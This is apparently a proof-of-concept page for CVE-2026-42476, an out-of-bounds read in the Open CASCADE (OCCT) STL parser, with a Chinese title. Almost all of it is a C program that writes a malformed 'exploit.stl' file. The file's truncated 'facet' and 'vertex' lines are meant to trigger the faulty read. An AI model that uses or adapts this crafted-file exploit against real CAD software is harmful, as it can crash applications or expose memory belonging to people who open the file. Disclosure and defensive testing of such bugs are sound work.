CVE-2026-42476 Open CASCADE越界读取漏洞

/* * PoC for CVE-2026-42476 * Generates a malformed STL file with extremely short lines * to trigger the out-of-bounds read in OCCT. */ #include <stdio.h> #include <string.h> int main() { FILE *fp = fopen("exploit.stl", "wb"); if (!fp) return 1; // A normal header is usually longer, but we use a very short one // or malformed lines to trigger the buffer validation issue. // The vulnerability triggers on lines that are too short for the expected parsing logic. // Start with a short header fprintf(fp, "solid \n"); // Facet normal with extremely short components or malformed structure // The issue occurs when the line length is insufficient for the expected comparison // e.g., checking for 'facet' but the line is just 'f' or empty. // Simulating a line that is too short for strncasecmp or direct access fprintf(fp, "facet\n"); // Shorter than expected "facet normal x y z" fprintf(fp, " outer loop\n"); fprintf(fp, " vertex\n"); // Short vertex line fprintf(fp, " endloop\n"); fprintf(fp, " endfacet\n"); fprintf(fp, "endsolid\n"); fclose(fp); printf("Malformed STL file 'exploit.stl' generated.\n"); return 0; }